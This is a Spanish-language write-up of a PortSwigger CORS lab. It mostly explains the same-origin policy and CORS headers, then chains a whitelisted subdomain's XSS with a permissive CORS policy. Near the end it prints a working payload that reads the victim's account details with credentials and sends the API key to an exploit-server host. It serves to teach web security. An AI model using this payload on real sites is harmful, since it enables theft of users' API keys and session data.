Entrada

CORS Lab 3

CORS Lab 3

Skills

  • CORS vulnerability with trusted insecure protocols

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este sitio web tiene una configuración de Cross-Origin Resource Sharing (CORS) insegura, debido a que confía en todos los subdominios sin importar el protocolo. Para resolver el laboratorio, debemos crear un script de JavaScript que use Cross-Origin Resource Sharing (CORS) para obtener la clave API del administrador y subir el payload a nuestro servidor de explotación. El laboratorio se considerará resuelto cuando enviemos con éxito la clave API del administrador. Podemos iniciar sesión en nuestra propia cuenta utilizando las siguientes credenciales wiener:peter


Resolución

Al acceder a la web vemos esto

Si pulsamos en View details vemos que podemos checkear el stock del producto en diferentes ciudades

Si pulsamos sobre Check stock nos redirigirá a https://stock.0ae60051047d925c815bc08500f00081.web-security-academy.net/?productId=1&storeId=1 y nos mostrará el stock del producto

Hacemos click sobre My account y nos logueamos con las credenciales wiener:peter

Vemos que podemos cambiar nuestro email y una clave API

La Same-Origin Policy (SOP) es un mecanismo de seguridad del navegador web que tiene como objetivo prevenir ataques entre sitios web, esto lo hace impidiendo que un script de una página web acceda a datos de otra página web si no tienen el mismo origen. El origen está compuesto por un esquema URI (http://,https://,ftp://), un dominio (eneba.com) y un número de puerto (:80). Por ejemplo, la siguiente URL http://normal-website.com/example/example.html

URL¿Acceso permitido?
http://normal-website.com/example/Sí (mismo esquema URI, dominio y puerto)
http://normal-website.com/example2/Sí (mismo esquema URI, dominio y puerto)
https://normal-website.com/example/No (esquema URI y puerto diferentes)
http://en.normal-website.com/example/No (dominio diferente)
http://www.normal-website.com/example/No (dominio diferente)
http://normal-website.com:8080/example/No (puerto diferente)

En el caso de Internet Explorer permite el acceso a http://normal-website.com:8080/example/ porque no tiene en cuenta el número de puerto al aplicar la política SOP

Cuando un navegador envía una solicitud HTTP desde un origen a otro, todas las cookies, incluyendo las de sesión asociadas al dominio destino también se envían como parte de la solicitud. Esto significa que la respuesta se generará dentro de la sesión del usuario e incluirá cualquier dato privado asociado a su cuenta. Sin la SOP, si visitamos un sitio malicioso, este podría leer nuestros correos de Gmail, mensajes privados de Facebook, etc

La SOP generalmente controla el acceso que tiene el código JavaScript a contenido cargado desde otro dominio pero la carga de recursos cross-origin está permitida. Por ejemplo, la SOP permite incrustar imágenes mediante la etiqueta <img>, medios con la etiqueta <video> y JavaScript mediante la etiqueta <script>, sin embargo, aunque estos recursos externos pueden ser cargados por la página, cualquier código JavaScript en la página no podrá leer el contenido de estos recursos

Existen varias excepciones a la SOP

  • Algunos objetos son modificables pero no legibles entre dominios, como el objeto location o la propiedad location.href en iframes o ventanas nuevas

  • Algunos objetos son legibles pero no modificables entre dominios, como la propiedad closed y la propiedad length del objeto window (que almacena el número de frames en la página)

  • La función replace generalmente puede ser llamada entre dominios en el objeto location

  • Se pueden llamar a ciertas funciones entre dominios. Por ejemplo, podemos invocar las funciones close, blur y focus en una ventana nueva. La función postMessage también puede ser usada en iframes y ventanas nuevas para enviar mensajes de un dominio a otro

Debido a requisitos heredados, la SOP es más permisiva con las cookies, por lo que suelen ser accesibles desde todos los subdominios de un sitio web, aunque cada subdominio sea técnicamente un origen diferente. Podemos mitigar parcialmente este riesgo usando el atributo HttpOnly en las cookies

Es posible relajar la SOP usando document.domain, esta propiedad especial permite flexibilizar la SOP para un dominio específico, pero solo si forma parte de tu Fully Qualified Domain Name (FQDN). Por ejemplo, podrías tener el dominio marketing.ejemplo.com y querer leer su contenido desde ejemplo.com, para hacerlo, ambos dominios deben configurar document.domain como ejemplo.com. Así, la SOP permitirá el acceso entre los dos dominios pese a tener orígenes diferentes

En el pasado, era posible asignar document.domain a un Top-Level Domain (TLD) (como .com), lo que permitía acceso entre cualquier dominio bajo el mismo Top-Level Domain (TLD), pero los navegadores modernos ya lo impiden

El Cross-Origin Resource Sharing (CORS) es un mecanismo del navegador que permite el acceso controlado a recursos ubicados fuera de un dominio determinado. Amplía y flexibiliza la SOP. Sin embargo, también puede generar ataques entre dominios si la política de CORS de un sitio web está mal configurada o mal implementada. El CORS no protegerá contra ataques cross-origin, como el Cross-Site Request Forgery (CSRF)

La SOP es muy restrictiva pero se han ideado varios métodos para eludir sus restricciones. Muchos sitios web interactúan con subdominios o sitios web de terceros, por lo que se requiere acceso sin restricciones entre dominios. Una relajación controlada de la SOP es posible mediante el uso de CORS

El protocolo CORS emplea un grupo de cabeceras HTTP que especifican qué dominios y propiedades asociadas están autorizados, incluyendo si se permite acceso con credenciales. Las cabeceras HTTP se combinan en un intercambio de cabeceras entre el navegador y el sitio externo que se quiere consultar

La cabecera Access-Control-Allow-Origin se incluye en la respuesta de un sitio web a una solicitud proveniente de otro sitio web, e indica qué origen tiene permiso para acceder al recurso solicitado

El navegador compara el valor de Access-Control-Allow-Origin con el origen del sitio web que realizó la petición. Si coinciden, permite el acceso a la respuesta, de lo contrario, lo bloquea por restricciones de seguridad

La especificación CORS establece las cabeceras HTTP que se intercambian entre servidores web y navegadores para controlar las solicitudes de recursos provenientes de dominios distintos al origen. Entre las cabeceras definidas por CORS, Access-Control-Allow-Origin es la más importante

Esta cabecera es enviada por el servidor como respuesta cuando recibe una solicitud entre dominios, la cual incluye automáticamente la cabecera Origin agregada por el navegador

Por ejemplo, supongamos que un sitio web cuyo origen es normal-website.com realiza la siguiente solicitud entre dominios

1
2
3
GET /data HTTP/1.1
Host: robust-website.com
Origin: https://normal-website.com

El servidor en robust-website.com responde así

1
2
3
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com

El navegador permitirá que el código ejecutado en normal-website.com acceda a la respuesta porque los orígenes coinciden. La especificación Access-Control-Allow-Origin permite múltiples orígenes, el valor null o la wildcard *. Sin embargo, ningún navegador admite múltiples orígenes y existen restricciones en el uso de las wildcards *

El comportamiento predeterminado de las solicitudes de recursos cross-origin es que se envíen sin credenciales (como cookies o cabeceras de Autorización). No obstante, el servidor remoto puede autorizar el acceso a la respuesta cuando se incluyen credenciales configurando la cabecera Access-Control-Allow-Credentials: true

Si el sitio solicitante utiliza JavaScript, puede indicar que envía cookies con la petición

1
2
3
4
5
GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>

La respuesta a esta solicitud es la siguiente. En este caso, el navegador permitirá que el sitio web solicitante lea la respuesta, siempre que la cabecera Access-Control-Allow-Credentials esté configurada como true. De lo contrario, el navegador bloqueará el acceso a la respuesta

1
2
3
4
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true

La cabecera Access-Control-Allow-Origin soporta wildcards

1
Access-Control-Allow-Origin: *

Debemos tener en cuenta que las wildcards no se pueden usar dentro de otro valor, por ejemplo, esta cabecera no sería válida

1
Access-Control-Allow-Origin: https://*.normal-website.com

Afortunadamente, desde el punto de vista de la seguridad, el uso de wildcards está restringido, es decir, no se puede usar una wilcard junto con una transferencia de credenciales (autenticación, cookies o certificados del lado del cliente) cross-origin ya que esto sería peligrosamente inseguro, exponiendo cualquier contenido autenticado en el sitio objetivo a todos

Dadas estas restricciones, algunos servidores web crean dinámicamente las cabeceras Access-Control-Allow-Origin basándose en el origen especificado por el cliente. En consecuencia, la respuesta a una solicitud entre dominios luce de esta forma

1
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true

El pre-flight check (verificación previa) se añadió a CORS para proteger a los recursos legacy de las opciones de solicitud ampliadas permitidas por CORS. En ciertas circunstancias, cuando una solicitud entre dominios incluye un método HTTP no estándar o cabeceras personalizadas, la solicitud cross-origin va precedida de una petición que utiliza el método OPTIONS. El protocolo CORS exige esta verificación inicial para determinar qué métodos y cabeceras están permitidos antes de autorizar la solicitud entre dominios. A esto se le denomina pre-flight check

El servidor responde con una lista de métodos permitidos, además del origen autorizado, y el navegador verifica si el método utilizado por el sitio solicitante está incluido en dicha lista

Por ejemplo, esta es una solicitud de preflight que busca utilizar el método PUT junto con una cabecera personalizada llamada Special-Request-Header

1
2
3
4
5
6
OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

El servidor podría devolver una respuesta como la siguiente

1
2
3
4
5
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

Esta respuesta establece los métodos permitidos (PUT, POST y OPTIONS) y las cabeceras de solicitud permitidos (Special-Request-Header). En este caso particular, el servidor cross-domain, es decir, el servidor que acepta solicitudes provenientes de dominios diferentes al suyo, también permite el envío de credenciales y la cabecera Access-Control-Max-Age define un tiempo máximo para almacenar en caché la respuesta pre-flight para reutilizarla. Si los métodos y las cabeceras de solicitud están permitidos (como en este ejemplo), el navegador procesa la solicitud cross-origin de la manera habitual. Las verificaciones preflight agregan un round-trip (RTT) adicional de solicitud HTTP a la petición cross-domain, lo que aumenta la sobrecarga (overhead) de navegación

CORS no proporciona protección contra ataques de Cross-Site Request Forgery (CSRF). Como CORS es una relajación controlada de la SOP, una configuración deficiente de CORS puede aumentar la posibilidad de ataques CSRF o agravar su impacto. Existen varias formas de realizar ataques CSRF sin usar CORS, por ejemplo, incluyendo formularios HTML o incluyendo recursos cross-domain

Muchos sitios web modernos utilizan CORS para permitir el acceso desde subdominios y sitios web de terceros. Sin embargo, su implementación de CORS puede contener errores o ser demasiado permisiva para garantizar que todo funcione, lo que puede resultar en vulnerabilidades explotables

Incluso una configuración "correcta" de CORS establece una relación de confianza entre dos orígenes. Si un sitio web confía en un origen que es vulnerable a cross-site scripting (XSS), un atacante podría explotar la vulnerabilidad XSS para inyectar código JavaScript que utilice CORS para recuperar información sensible del sitio web que confía en la aplicación vulnerable

Si se envía esta petición

1
2
3
4
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

Y el servidor responde con esto

1
2
3
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

Si un atacante que encuentra una vulnerabilidad XSS en subdomain.vulnerable-website.com podría usarla para recuperar la clave API, utilizando una URL como esta

1
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

Supongamos que una aplicación que utiliza estrictamente HTTPS también incluye en su whitelist un subdominio de confianza que está usando HTTP. Por ejemplo, cuando la una recibe la siguiente solicitud

1
2
3
4
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

Y responde con estas cabeceras

1
2
3
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

Si un atacante puede interceptar el tráfico de un usuario víctima podría explotar la configuración CORS para comprometer la interacción de la víctima con la web. Este ataque implica los siguientes pasos

  • El usuario víctima realiza una solicitud HTTP

  • El atacante inyecta una redirección hacia http://trusted-subdomain.vulnerable-website.com

  • El navegador de la víctima sigue la redirección

  • El atacante intercepta la solicitud HTTP sin cifrar y devuelve una respuesta falsificada que contiene una petición CORS hacia https://vulnerable-website.com

  • El navegador de la víctima realiza la petición CORS, incluyendo el origen http://trusted-subdomain.vulnerable-website.com

  • La aplicación permite la solicitud porque ese origen está en la whitelist. Los datos sensibles solicitados son devueltos en la respuesta

  • La pagían web falsificada del atacante puede leer los datos sensibles y transmitirlos a cualquier dominio bajo el control del atacante

Este ataque es efectivo incluso si el sitio web vulnerable implementa HTTPS de forma segura, es decir, sin endpoints HTTP y con el atributo secure seteado en todas las cookies

Si nos fijamos en la petición que se hace a /accountDetails cuando nos logueamos, veremos que el servidor nos responde con la cabecera Access-Control-Allow-Credentials: true. Esto no lo hace vulnerable a CORS, para que sea vulnerable tenemos que ser capaces de controlar el origen de la petición

Para comprobar si podemos manipular el origen de la petición mandamos esta petición al Repeater y probamos a añadir las cabeceras Origin: null y Origin: https://exploit-0a2f005e043492fb81bebfa3012e00eb.exploit-server.net/log. En este caso el servidor no nos deja manipular el origen

Cuando pulsamos sobre Check stock vemos que la petición se hace desde un subdominio https://stock.0ae60051047d925c815bc08500f00081.web-security-academy.net

Si probamos a insertar este dominio como origen si que funciona porque está en la whitelist

La pulsar sobre la función de Check stock nos redirige a http://stock.0ae60051047d925c815bc08500f00081.web-security-academy.net/?productId=1&storeId=1, si inyectamos código JavaScript en este parámetro de la URL http://stock.0ae60051047d925c815bc08500f00081.web-security-academy.net/?productId=<script>alert(3)</script>&storeId=1 veremos que es vulnerable a XSS

Una vez comprobado que ese dominio es vulnerable a XSS y que está en la whitelist, nos dirigimos al Exploit server y pegamos este payload

1
<script> document.location="http://stock.0ae60051047d925c815bc08500f00081.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0ae60051047d925c815bc08500f00081.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='http://exploit-0a2f005e043492fb81bebfa3012e00eb.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script>

Pulsamos sobre View exploit, nos dirigimos al Access log y vemos que hemos obtenido información de nuestro usuario

Una vez comprobado que funciona, pulsamos sobre Deliver exploit to victim y nos dirigimos al Access log nuevamente

Copiamos la cadena de texto en el Decoder y la URL decodeamos

Nos copiamos la apiKey, pulsamos sobre Submit solution y completamos el laboratorio

Esta entrada está licenciada bajo CC BY 4.0 por el autor.